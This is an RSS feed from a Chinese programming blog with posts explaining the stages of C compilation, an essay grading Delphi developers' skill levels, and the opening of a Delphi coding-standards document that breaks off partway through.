<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>温室小花.技术.博客 --纯粹的unix技术博客 &#187; 应用开发</title>
	<atom:link href="http://www.evanjiang.net.cn/archives/category/application-_developmen/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evanjiang.net.cn</link>
	<description>红颜弹指老，刹那芳华，与其天涯思君，恋恋不舍，莫若相忘于江湖！</description>
	<lastBuildDate>Sun, 05 Sep 2010 14:51:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>C语言编译全过程</title>
		<link>http://www.evanjiang.net.cn/archives/974.html</link>
		<comments>http://www.evanjiang.net.cn/archives/974.html#comments</comments>
		<pubDate>Sat, 02 May 2009 14:57:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[c/c++]]></category>
		<category><![CDATA[C语言]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=974</guid>
		<description><![CDATA[<p>


 <p>    编译的概念：编译程序读取源程序（字符流），对之进行词法和语法的分析，将高级语言指令转换为功能等效的汇编代码，再由汇编程序转换为机器语言，并且按照操作系统对可执行文件格式的要求链接生成可执行程序。
    编译的完整过程：C源程序－－>预编译处理(.c)－－>编译、优化程序（.s、.asm）－－>汇编程序(.obj、.o、.a、.ko)－－>链接程序（.exe、.elf、.axf等）</p>
<p>1. 编译预处理</p>
<p>    读取c源程序，对其中的伪指令（以#开头的指令）和特殊符号进行处理
伪指令主要包括以下四个方面：
 （1）宏定义指令，如#define Name TokenString，#undef等。
对于前一个伪指令，预编译所要做的是将程序中的所有Name用TokenString替换，但作为字符串常量的 Name则不被替换。对于后者，则将取消对某个宏的定义，使以后该串的出现不再被替换。
 （2）条件编译指令，如#ifdef，#ifndef，#else，#elif，#endif等。
这些伪指令的引入使得程序员可以通过定义不同的宏来决定编译程序对哪些代码进行处理。预编译程序将根据有关的文件，将那些不必要的代码过滤掉
 （3） 头文件包含指令，如#include &#8220;FileName&#8221;或者#include 等。
在头文件中一般用伪指令#define定义了大量的宏（最常见的是字符常量），同时包含有各种外部符号的声明。
    采用头文件的目的主要是为了使某些定义可以供多个不同的C源程序使用。因为在需要用到这些定义的C源程序中，只需加上一条#include语句即可，而不必再在此文件中将这些定义重复一遍。预编译程序将把头文件中的定义统统都加入到它所产生的输出文件中，以供编译程序对之进行处理。
    包含到c源程序中的头文件可以是系统提供的，这些头文件一般被放在/usr/include目录下。在程序中#include它们要使用尖括号（< >）。另外开发人员也可以定义自己的头文件，这些文件一般与c源程序放在同一目录下，此时在#include中要用双引号（&#8221;"）。
 （4）特殊符号，预编译程序可以识别一些特殊的符号。
例如在源程序中出现的LINE标识将被解释为当前行号（十进制数），FILE则被解释为当前被编译的C源程序的名称。预编译程序对于在源程序中出现的这些串将用合适的值进行替换。
   预编译程序所完成的基本上是对源程序的“替代”工作。经过此种替代，生成一个没有宏定义、没有条件编译指令、没有特殊符号的输出文件。这个文件的含义同没有经过预处理的源文件是相同的，但内容有所不同。下一步，此输出文件将作为编译程序的输出而被翻译成为机器指令。</p>
<p> 2. 编译、优化阶段

    经过预编译得到的输出文件中，只有常量；如数字、字符串、变量的定义，以及C语言的关键字，如main,if,else,for,while,{,}, +,-,*,\等等。
    编译程序所要作得工作就是通过词法分析和语法分析，在确认所有的指令都符合语法规则之后，将其翻译成等价的中间代码表示或汇编代码。
    优化处理是编译系统中一项比较艰深的技术。它涉及到的问题不仅同编译技术本身有关，而且同机器的硬件环境也有很大的关系。优化一部分是对中间代码的优化。这种优化不依赖于具体的计算机。另一种优化则主要针对目标代码的生成而进行的。
    [...]]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 160x600, 创建于 10-2-7 */
google_ad_slot = "8970910006";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p> <p>    编译的概念：编译程序读取源程序（字符流），对之进行词法和语法的分析，将高级语言指令转换为功能等效的汇编代码，再由汇编程序转换为机器语言，并且按照操作系统对可执行文件格式的要求链接生成可执行程序。<br />
    编译的完整过程：C源程序－－>预编译处理(.c)－－>编译、优化程序（.s、.asm）－－>汇编程序(.obj、.o、.a、.ko)－－>链接程序（.exe、.elf、.axf等）</p>
<p>1. 编译预处理</p>
<p>    读取c源程序，对其中的伪指令（以#开头的指令）和特殊符号进行处理<br />
伪指令主要包括以下四个方面：<br />
 （1）宏定义指令，如#define Name TokenString，#undef等。<br />
对于前一个伪指令，预编译所要做的是将程序中的所有Name用TokenString替换，但作为字符串常量的 Name则不被替换。对于后者，则将取消对某个宏的定义，使以后该串的出现不再被替换。<br />
 （2）条件编译指令，如#ifdef，#ifndef，#else，#elif，#endif等。<br />
这些伪指令的引入使得程序员可以通过定义不同的宏来决定编译程序对哪些代码进行处理。预编译程序将根据有关的文件，将那些不必要的代码过滤掉<br />
 （3） 头文件包含指令，如#include &#8220;FileName&#8221;或者#include <FileName>等。<br />
在头文件中一般用伪指令#define定义了大量的宏（最常见的是字符常量），同时包含有各种外部符号的声明。<br />
    采用头文件的目的主要是为了使某些定义可以供多个不同的C源程序使用。因为在需要用到这些定义的C源程序中，只需加上一条#include语句即可，而不必再在此文件中将这些定义重复一遍。预编译程序将把头文件中的定义统统都加入到它所产生的输出文件中，以供编译程序对之进行处理。<br />
    包含到c源程序中的头文件可以是系统提供的，这些头文件一般被放在/usr/include目录下。在程序中#include它们要使用尖括号（< >）。另外开发人员也可以定义自己的头文件，这些文件一般与c源程序放在同一目录下，此时在#include中要用双引号（&#8221;"）。<br />
 （4）特殊符号，预编译程序可以识别一些特殊的符号。<br />
例如在源程序中出现的LINE标识将被解释为当前行号（十进制数），FILE则被解释为当前被编译的C源程序的名称。预编译程序对于在源程序中出现的这些串将用合适的值进行替换。<br />
   预编译程序所完成的基本上是对源程序的“替代”工作。经过此种替代，生成一个没有宏定义、没有条件编译指令、没有特殊符号的输出文件。这个文件的含义同没有经过预处理的源文件是相同的，但内容有所不同。下一步，此输出文件将作为编译程序的输出而被翻译成为机器指令。</p>
<p> 2. 编译、优化阶段<br />
<span id="more-974"></span><br />
    经过预编译得到的输出文件中，只有常量；如数字、字符串、变量的定义，以及C语言的关键字，如main,if,else,for,while,{,}, +,-,*,\等等。<br />
    编译程序所要作得工作就是通过词法分析和语法分析，在确认所有的指令都符合语法规则之后，将其翻译成等价的中间代码表示或汇编代码。<br />
    优化处理是编译系统中一项比较艰深的技术。它涉及到的问题不仅同编译技术本身有关，而且同机器的硬件环境也有很大的关系。优化一部分是对中间代码的优化。这种优化不依赖于具体的计算机。另一种优化则主要针对目标代码的生成而进行的。<br />
    对于前一种优化，主要的工作是删除公共表达式、循环优化（代码外提、强度削弱、变换循环控制条件、已知量的合并等）、复写传播，以及无用赋值的删除，等等。<br />
后一种类型的优化同机器的硬件结构密切相关，最主要的是考虑是如何充分利用机器的各个硬件寄存器存放的有关变量的值，以减少对于内存的访问次数。另外，如何根据机器硬件执行指令的特点（如流水线、RISC、CISC、VLIW等）而对指令进行一些调整使目标代码比较短，执行的效率比较高，也是一个重要的研究课题。<br />
    经过优化得到的汇编代码必须经过汇编程序的汇编转换成相应的机器指令，方可能被机器执行。</p>
<p>  3. 汇编过程<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
    汇编过程实际上指把汇编语言代码翻译成目标机器指令的过程。对于被翻译系统处理的每一个C语言源程序，都将最终经过这一处理而得到相应的目标文件。目标文件中所存放的也就是与源程序等效的目标的机器语言代码。<br />
 目标文件由段组成。通常一个目标文件中至少有两个段：<br />
    代码段：该段中所包含的主要是程序的指令。该段一般是可读和可执行的，但一般却不可写。<br />
    数据段：主要存放程序中要用到的各种全局变量或静态的数据。一般数据段都是可读，可写，可执行的。<br />
 UNIX环境下主要有三种类型的目标文件：<br />
 （1）可重定位文件<br />
其中包含有适合于其它目标文件链接来创建一个可执行的或者共享的目标文件的代码和数据。<br />
 （2）共享的目标文件<br />
   这种文件存放了适合于在两种上下文里链接的代码和数据。<br />
   第一种是链接程序可把它与其它可重定位文件及共享的目标文件一起处理来创建另一个 目标文件；<br />
  第二种是动态链接程序将它与另一个可执行文件及其它的共享目标文件结合到一起，创建一个进程映象。<br />
（3）可执行文件<br />
    它包含了一个可以被操作系统创建一个进程来执行之的文件。<br />
汇编程序生成的实际上是第一种类型的目标文件。对于后两种还需要其他的一些处理方能得到，这个就是链接程序的工作了。</p>
<p>  4. 链接程序</p>
<p>    由汇编程序生成的目标文件并不能立即就被执行，其中可能还有许多没有解决<br />
的问题。<br />
    例如，某个源文件中的函数可能引用了另一个源文件中定义的某个符号（如变量或者函数调用等）；在程序中可能调用了某个库文件中的函数，等等。所有的这些问题，都需要经链接程序的处理方能得以解决。<br />
    链接程序的主要工作就是将有关的目标文件彼此相连接，也即将在一个文件中引用的符号同该符号在另外一个文件中的定义连接起来，使得所有的这些目标文件成为一个能够诶操作系统装入执行的统一整体。<br />
    根据开发人员指定的同库函数的链接方式的不同，链接处理可分为两种：<br />
 （1）静态链接<br />
    在这种链接方式下，函数的代码将从其所在地静态链接库中被拷贝到最终的可执行程序中。这样该程序在被执行时这些代码将被装入到该进程的虚拟地址空间中。静态链接库实际上是一个目标文件的集合，其中的每个文件含有库中的一个或者一组相关函数的代码。<br />
 （2） 动态链接<br />
    在此种方式下，函数的代码被放到称作是动态链接库或共享对象的某个目标文件中。链接程序此时所作的只是在最终的可执行程序中记录下共享对象的名字以及其它少量的登记信息。在此可执行文件被执行时，动态链接库的全部内容将被映射到运行时相应进程的虚地址空间。动态链接程序将根据可执行程序中记录的信息找到相应的函数代码。<br />
    对于可执行文件中的函数调用，可分别采用动态链接或静态链接的方法。使用动态链接能够使最终的可执行文件比较短小，并且当共享对象被多个进程使用时能节约一些内存，因为在内存中只需要保存一份此共享对象的代码。但并不是使用动态链接就一定比使用静态链接要优越。在某些情况下动态链接可能带来一些性能上损害。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
总结：<br />
    C语言编译的整个过程是非常复杂的，里面涉及到的编译器知识、硬件知识、工具链知识都是非常多的，深入了解整个编译过程对工程师理解应用程序的编写是有很大帮助的，希望大家可以多了解一些，在遇到问题时多思考、多实践。<br />
    一般情况下，我们只需要知道分成编译和连接两个阶段，编译阶段将源程序（*.c)转换成为目标代码（，一般是obj文件，至于具体过程就是上面说的那些阶段），连接阶段是把源程序转换成的目标代码（obj文件）与你程序里面调用的库函数对应的代码连接起来形成对应的可执行文件（exe文件）就可以了，其他的都需要在实践中多多体会才能有更深的理解。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/974.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Delphi开发能力自我评测</title>
		<link>http://www.evanjiang.net.cn/archives/936.html</link>
		<comments>http://www.evanjiang.net.cn/archives/936.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:22:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[delphi/bcb]]></category>
		<category><![CDATA[Delphi开发能力自我评测]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=936</guid>
		<description><![CDATA[<p style="float: right;margin: 4px;">


</p> <p>
（注：以下内容都是作者个人的学习经验和体会，仅代表个人观点。针对Win32下的Delphi程序开发而言，部分内容或思想也可适用于其它工具或平台下的软件开发。）
在程序员的求职资料中，用得最泛滥的词可能是“熟悉”和“精通”。评价一个程序员的综合能力并不容易，下面的文字试图以Delphi程序开发为例定义一种描述程序员开发能力的方法。
一、	学习阶段划分。
根据我个人的经验，Delphi程序设计分为以下几个阶段：
1、	熟悉阶段。
这一阶段指从未接触过Delphi的人，刚开始学习到初步掌握Delphi的语法、可视化编程、面向对象编程的概念、Delphi IDE开发环境、基本代码编写、程序结构的过程。
熟悉阶段结束后，学习者应该可以编写简单的程序，同时对整个Delphi开发环境有一定的了解，但还不能从事开发工作。
根据学习者是否有编写其它语言代码的经验、是否接触过面向对象编程等因素，这一过程可能需要数天到数十天的时间。
2、	入门阶段。
在熟悉Delphi后，入门的标志是学习者可以有目的地利用Delphi强大的可视化开发环境、结合一些常规的代码编写技术，编制一些小型的程序，或是完成简单的数据库应用。同时，还应掌握基本的程序调试方法。
入门后，程序员可以从事简单的开发工作，或担任中小型系统的用户界面设计及简单代码的编写任务。
同样，如果没有代码编写经验，这一过程将需要一个月或更多的时间。
3、	进阶阶段。
相当多的程序员处于进阶阶段，他们通过经常性地开发工作，积累代码编写和程序调试经验，通过各种途径寻找各类代码编写技巧。每个人根据自已从事的工作或兴趣，在某一方面或几个方面大量的实践，可以独立开发小型、技术含量不高的系统，或在大中型系统中负责普通代码的编写。
绝大部分的在职程序员处于这一阶段，如果一个程序员不是有目的地在学习、工作中总结、提高，可能很长时间、数年甚至终生处于这一阶段。
4、	小成阶段。
只有系统地掌握了Delphi的结构体系，从实践上升到理论，有自己完整的编程思想和风格，或是在深度上达到了相当水平、或是在广度上有了相当经验，知识达到融会贯通的地步，才算小有所成。
此时，在代码编写方面，只要有时间，程序员几乎可以实现所有想做的东西。很多功能，都可以举出几种实现方法并从效率、可读上优化选取。
除了Delphi，程序员应该对操作系统有相当深入的了解，能在短时间内学会新的知识并加以应用，可以读懂绝大部分Delphi源码，完成复杂程序的调试。
如果向深度发展，程序员应该可以编写出具有一定水平的组件、专家或较专业的程序。如果向广度发展，则可以完成中小型的开发任务，或是大中型系统中的核心代码编写以及大部分系统分析工作。
这一阶段几乎是没有现成经验可学的，完全靠个人的修行和领悟，小有所成后程序员在软件方面可独挡一面。
5、	大师级。
如果前面四个阶段在某种程度上都可以看做是“应用”的话，大师级的程序员就处于“设计和创造”这一层次。
他们已到技进乎道的境界，可以把Delphi玩得随心所欲，可以创造新的东西，把握发展方向，随手写的代码都可以当教材用。Borland公司的工程师、国外一些著名软件、控件包的作者、以及国内少数程序员属于这一阶段。

二、	代码阅读分析能力。
对一个程序员来说，读懂别人写的代码是一项基本的能力。不仅包括阅读写得好的程序，也包括阅读写得一般甚至低劣的代码。
代码阅读分析又可分为三个层次，一是代码本身的阅读能力，二是代码编写思想的理解能力，三是算法模型分析设计能力。
要看懂一段代码的作用和功能，首先自己应该拥有大量的代码阅读编写经验，然后是从手册资料中快速获得所需信息的能力。然而，仅有这些，很多优秀的代码仍然不易理解，这就需要程序员的宏观分析和联想能力。
和其它所有事物一样，很多代码也只有在特定环境中才有其存在的意义。有经验的程序员在拿到一段代码后并不急于马上阅读，而是在理解代码所在单元甚至工程的功能后再有目的地分析，从宏观（系统框架结构）和微观（具体代码）上分析作者的设计意图、框架结构、实现方法，从中汲取经验或对代码编写质量进行评估。
再深入一些， 是代码和软件的算法设计。给你一段DES加密算法、UCL压缩算法或MCNN多层分组神经网络的实现代码，如果你没有相关的理论知识做基础，即使有源算法模型也是无法看懂的。







三、	代码编写调试能力。
程序设计能力一般指的就是代码编写调试的能力，程序员的代码直接代表了他的编程水平。
1、	代码编写规范。
代码、注释的书写是否规范直接反映出一个程序员对程序设计的态度。不同的组织定义了不同的代码编写规范，但从外观上看，写得好的代码看起来都差不多一个模样，而糟糕的代码则五花八门。
2、	程序框架和算法结构。
很多程序员在一开始编写代码时缺乏对开发目标的细致分析和策划，边写边改，结果写出的代码结构冗长、算法凌乱、可读易维护性差，特别是在多人开发时很容易导致开发中后期进展缓慢甚至陷入僵局。优秀的程序员代码书写简练、算法清晰、结构合理，他们善于利用编译器强大的语法检查功能减少潜在的错误，并在设计编写代码时充分考虑程序的可移植性和升级能力。
3、	软件测试和代码调试能力。
调试复杂代码的能力同样是区分程序员能力的重要因素。同一段有问题的代码，不同的人调试的时间可能相差数倍甚至数十数百倍。特别是组件开发等不可视代码的调试，要求一个没有太多经验的程序员完成是不现实的。而一个优秀的程序员同时也应该是一个优秀的测试员，发现问题的能力和解决问题的能力同样重要，尽管并不是所有人都能认识到这一点。
四、	程序员类型。
从程序员所从事的工作及兴趣来看，可将其简单地划分为：
1、	应用型。
又可分为以“其它领域结合软件开发”为主和以“软件开发结合其它领域”为主两种。
前者有自己的专业知识，但不满足于简单的操作应用，而利用VB、Delphi等开发工具的强大RAD能力开发与自己专业相关的软件。后者的工作是将计算机技术应用于其它领域，主要为企业编写各种基于商业数据库及网络通讯或一些自动化控制应用的软件。
应用型程序员一般是“广度型”发展的，他们并不注重系统底层知识的学习，而重在“应用”，利用开发工具来实现“行业规则”而不需要阅读编写底层、复杂的代码。
2、	技术型。
这一类型的程序员是纯软件技术型的，他们的开发焦点集中在计算机软件本身上，属“深度”发展型。
技术型程序员大多追求完美、吹毛求疵，对他们来说，花上数小时的时间优化一段代码，使程序执行效率提高10%是一件很惬意的事。技术型程序员一般重名重义不重利，喜欢自由，不愿受现有框架的约束，每每有惊人之举，他们大多特立独行或在软件开发中负责核心代码编写，而这个世界也因这些程序员的存在而变得美丽。







3、	创造型。
创造型程序员结合了应用与技术型的特点。
他们既有精明的商业头脑，又有强劲的技术实力，既是管理人才又是技术人才，是炙手可热的人物。关于他们的描述媒体上已有很多，不再赘述。</p>
]]></description>
			<content:encoded><![CDATA[<p>
（注：以下内容都是作者个人的学习经验和体会，仅代表个人观点。针对Win32下的Delphi程序开发而言，部分内容或思想也可适用于其它工具或平台下的软件开发。）<br />
在程序员的求职资料中，用得最泛滥的词可能是“熟悉”和“精通”。评价一个程序员的综合能力并不容易，下面的文字试图以Delphi程序开发为例定义一种描述程序员开发能力的方法。<br />
一、	学习阶段划分。<br />
根据我个人的经验，Delphi程序设计分为以下几个阶段：<br />
1、	熟悉阶段。<br />
这一阶段指从未接触过Delphi的人，刚开始学习到初步掌握Delphi的语法、可视化编程、面向对象编程的概念、Delphi IDE开发环境、基本代码编写、程序结构的过程。<br />
熟悉阶段结束后，学习者应该可以编写简单的程序，同时对整个Delphi开发环境有一定的了解，但还不能从事开发工作。<br />
根据学习者是否有编写其它语言代码的经验、是否接触过面向对象编程等因素，这一过程可能需要数天到数十天的时间。<br />
2、	入门阶段。<br />
在熟悉Delphi后，入门的标志是学习者可以有目的地利用Delphi强大的可视化开发环境、结合一些常规的代码编写技术，编制一些小型的程序，或是完成简单的数据库应用。同时，还应掌握基本的程序调试方法。<br />
入门后，程序员可以从事简单的开发工作，或担任中小型系统的用户界面设计及简单代码的编写任务。<br />
同样，如果没有代码编写经验，这一过程将需要一个月或更多的时间。<br />
3、	进阶阶段。<br />
相当多的程序员处于进阶阶段，他们通过经常性地开发工作，积累代码编写和程序调试经验，通过各种途径寻找各类代码编写技巧。每个人根据自已从事的工作或兴趣，在某一方面或几个方面大量的实践，可以独立开发小型、技术含量不高的系统，或在大中型系统中负责普通代码的编写。<br />
绝大部分的在职程序员处于这一阶段，如果一个程序员不是有目的地在学习、工作中总结、提高，可能很长时间、数年甚至终生处于这一阶段。<br />
4、	小成阶段。<br />
只有系统地掌握了Delphi的结构体系，从实践上升到理论，有自己完整的编程思想和风格，或是在深度上达到了相当水平、或是在广度上有了相当经验，知识达到融会贯通的地步，才算小有所成。<br />
此时，在代码编写方面，只要有时间，程序员几乎可以实现所有想做的东西。很多功能，都可以举出几种实现方法并从效率、可读上优化选取。<br />
除了Delphi，程序员应该对操作系统有相当深入的了解，能在短时间内学会新的知识并加以应用，可以读懂绝大部分Delphi源码，完成复杂程序的调试。<br />
如果向深度发展，程序员应该可以编写出具有一定水平的组件、专家或较专业的程序。如果向广度发展，则可以完成中小型的开发任务，或是大中型系统中的核心代码编写以及大部分系统分析工作。<br />
这一阶段几乎是没有现成经验可学的，完全靠个人的修行和领悟，小有所成后程序员在软件方面可独挡一面。<br />
5、	大师级。<br />
如果前面四个阶段在某种程度上都可以看做是“应用”的话，大师级的程序员就处于“设计和创造”这一层次。<br />
他们已到技进乎道的境界，可以把Delphi玩得随心所欲，可以创造新的东西，把握发展方向，随手写的代码都可以当教材用。Borland公司的工程师、国外一些著名软件、控件包的作者、以及国内少数程序员属于这一阶段。<br />
<span id="more-936"></span><br />
二、	代码阅读分析能力。<br />
对一个程序员来说，读懂别人写的代码是一项基本的能力。不仅包括阅读写得好的程序，也包括阅读写得一般甚至低劣的代码。<br />
代码阅读分析又可分为三个层次，一是代码本身的阅读能力，二是代码编写思想的理解能力，三是算法模型分析设计能力。<br />
要看懂一段代码的作用和功能，首先自己应该拥有大量的代码阅读编写经验，然后是从手册资料中快速获得所需信息的能力。然而，仅有这些，很多优秀的代码仍然不易理解，这就需要程序员的宏观分析和联想能力。<br />
和其它所有事物一样，很多代码也只有在特定环境中才有其存在的意义。有经验的程序员在拿到一段代码后并不急于马上阅读，而是在理解代码所在单元甚至工程的功能后再有目的地分析，从宏观（系统框架结构）和微观（具体代码）上分析作者的设计意图、框架结构、实现方法，从中汲取经验或对代码编写质量进行评估。<br />
再深入一些， 是代码和软件的算法设计。给你一段DES加密算法、UCL压缩算法或MCNN多层分组神经网络的实现代码，如果你没有相关的理论知识做基础，即使有源算法模型也是无法看懂的。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
三、	代码编写调试能力。<br />
程序设计能力一般指的就是代码编写调试的能力，程序员的代码直接代表了他的编程水平。<br />
1、	代码编写规范。<br />
代码、注释的书写是否规范直接反映出一个程序员对程序设计的态度。不同的组织定义了不同的代码编写规范，但从外观上看，写得好的代码看起来都差不多一个模样，而糟糕的代码则五花八门。<br />
2、	程序框架和算法结构。<br />
很多程序员在一开始编写代码时缺乏对开发目标的细致分析和策划，边写边改，结果写出的代码结构冗长、算法凌乱、可读易维护性差，特别是在多人开发时很容易导致开发中后期进展缓慢甚至陷入僵局。优秀的程序员代码书写简练、算法清晰、结构合理，他们善于利用编译器强大的语法检查功能减少潜在的错误，并在设计编写代码时充分考虑程序的可移植性和升级能力。<br />
3、	软件测试和代码调试能力。<br />
调试复杂代码的能力同样是区分程序员能力的重要因素。同一段有问题的代码，不同的人调试的时间可能相差数倍甚至数十数百倍。特别是组件开发等不可视代码的调试，要求一个没有太多经验的程序员完成是不现实的。而一个优秀的程序员同时也应该是一个优秀的测试员，发现问题的能力和解决问题的能力同样重要，尽管并不是所有人都能认识到这一点。<br />
四、	程序员类型。<br />
从程序员所从事的工作及兴趣来看，可将其简单地划分为：<br />
1、	应用型。<br />
又可分为以“其它领域结合软件开发”为主和以“软件开发结合其它领域”为主两种。<br />
前者有自己的专业知识，但不满足于简单的操作应用，而利用VB、Delphi等开发工具的强大RAD能力开发与自己专业相关的软件。后者的工作是将计算机技术应用于其它领域，主要为企业编写各种基于商业数据库及网络通讯或一些自动化控制应用的软件。<br />
应用型程序员一般是“广度型”发展的，他们并不注重系统底层知识的学习，而重在“应用”，利用开发工具来实现“行业规则”而不需要阅读编写底层、复杂的代码。<br />
2、	技术型。<br />
这一类型的程序员是纯软件技术型的，他们的开发焦点集中在计算机软件本身上，属“深度”发展型。<br />
技术型程序员大多追求完美、吹毛求疵，对他们来说，花上数小时的时间优化一段代码，使程序执行效率提高10%是一件很惬意的事。技术型程序员一般重名重义不重利，喜欢自由，不愿受现有框架的约束，每每有惊人之举，他们大多特立独行或在软件开发中负责核心代码编写，而这个世界也因这些程序员的存在而变得美丽。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
3、	创造型。<br />
创造型程序员结合了应用与技术型的特点。<br />
他们既有精明的商业头脑，又有强劲的技术实力，既是管理人才又是技术人才，是炙手可热的人物。关于他们的描述媒体上已有很多，不再赘述。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/936.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>delphi编码规范文档</title>
		<link>http://www.evanjiang.net.cn/archives/932.html</link>
		<comments>http://www.evanjiang.net.cn/archives/932.html#comments</comments>
		<pubDate>Tue, 21 Apr 2009 04:17:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[delphi/bcb]]></category>
		<category><![CDATA[delphi编码规范文档]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=932</guid>
		<description><![CDATA[<p>目录</p>
<p>1、前言 3
2、源程序书写规范 3
2.1通用源代码格式规范 3
2.1.1缩进 3
2.1.2边距 3
2.1.3 Begin…End语句 3
2.1.4注释 4
2.2 OBJECT PASCAL语句格式书写规范与用法 4
2.2.1括号 4
2.2.2保留字和关键字 4
2.2.3过程和函数 5
2.2.4变量 5
2.2.5类型 6
2.2.6语句 6
2.2.7结构化异常处理 7
3命名规范 8
3.1过程(PROCEDURE)与函数(FUNCTION) 8
3.1.1命名 8
3.1.2形参 9
3.1.3命名冲突 9
3.2变量（VARIABLE） 9
3.2.1局部变量 9
3.2.2全局变量 9
3.3类型（TYPE） 9
3.3.1一般类型 9
3.3.2构造类型 10
3.3.3类类型（Class） 10
3.3.4元件类型 11
3.3.5窗体和对话框类型 13
3.3.6数据模块类型 15
3.4文件 16
3.4.1项目文件 16
3.4.2窗体文件 16
3.4.3数据模块文件 16
3.4.4远程数据模块文件 16
3.4.5单元文件 17
4、DELPHI代码自动格式化工具 18</p>
<p>
1、前言
本文档主要是为Delphi开发人员提供一个源代码书写标准，以及程序和文件的命名标准，使他们在编程时</p>
<p>有一致格式可遵循。这样，每个编程人员编写的代码能够被其他人理解。
 注：本文档不包含用户界面标准。用户界面标准是独立于其他标准的，并且同样是重要的。
2、源程序书写规范
2.1通用源代码格式规范
2.1.1缩进
缩进就是每级间有两个空格。不要在源代码中放置制表符。这是因为，制表符的宽度随着不同的设置和代</p>
<p>码管理实用程序(打印、文档及版本控制等)而不同。
    通过使用Tools&#124;Environment 菜单，在Environment Options 对话框的General页上，不要选中Use </p>
<p>Tab Character 和Optional Fill 复选框，这样，制表符就不会被保存。
2.1.2边距
边距设置为80个字符。源代码一般不会因写一个单词而超过边距，但本规则比较灵活。只要可能，长度超</p>
<p>过一行的语句应当用逗号或运算符换行。换行后，应缩进两个字符。
2.1.3 Begin…End语句
begin [...]]]></description>
			<content:encoded><![CDATA[<p>目录</p>
<p>1、前言 3<br />
2、源程序书写规范 3<br />
2.1通用源代码格式规范 3<br />
2.1.1缩进 3<br />
2.1.2边距 3<br />
2.1.3 Begin…End语句 3<br />
2.1.4注释 4<br />
2.2 OBJECT PASCAL语句格式书写规范与用法 4<br />
2.2.1括号 4<br />
2.2.2保留字和关键字 4<br />
2.2.3过程和函数 5<br />
2.2.4变量 5<br />
2.2.5类型 6<br />
2.2.6语句 6<br />
2.2.7结构化异常处理 7<br />
3命名规范 8<br />
3.1过程(PROCEDURE)与函数(FUNCTION) 8<br />
3.1.1命名 8<br />
3.1.2形参 9<br />
3.1.3命名冲突 9<br />
3.2变量（VARIABLE） 9<br />
3.2.1局部变量 9<br />
3.2.2全局变量 9<br />
3.3类型（TYPE） 9<br />
3.3.1一般类型 9<br />
3.3.2构造类型 10<br />
3.3.3类类型（Class） 10<br />
3.3.4元件类型 11<br />
3.3.5窗体和对话框类型 13<br />
3.3.6数据模块类型 15<br />
3.4文件 16<br />
3.4.1项目文件 16<br />
3.4.2窗体文件 16<br />
3.4.3数据模块文件 16<br />
3.4.4远程数据模块文件 16<br />
3.4.5单元文件 17<br />
4、DELPHI代码自动格式化工具 18</p>
<p><span id="more-932"></span><br />
1、前言<br />
本文档主要是为Delphi开发人员提供一个源代码书写标准，以及程序和文件的命名标准，使他们在编程时</p>
<p>有一致格式可遵循。这样，每个编程人员编写的代码能够被其他人理解。<br />
 注：本文档不包含用户界面标准。用户界面标准是独立于其他标准的，并且同样是重要的。<br />
2、源程序书写规范<br />
2.1通用源代码格式规范<br />
2.1.1缩进<br />
缩进就是每级间有两个空格。不要在源代码中放置制表符。这是因为，制表符的宽度随着不同的设置和代</p>
<p>码管理实用程序(打印、文档及版本控制等)而不同。<br />
    通过使用Tools|Environment 菜单，在Environment Options 对话框的General页上，不要选中Use </p>
<p>Tab Character 和Optional Fill 复选框，这样，制表符就不会被保存。<br />
2.1.2边距<br />
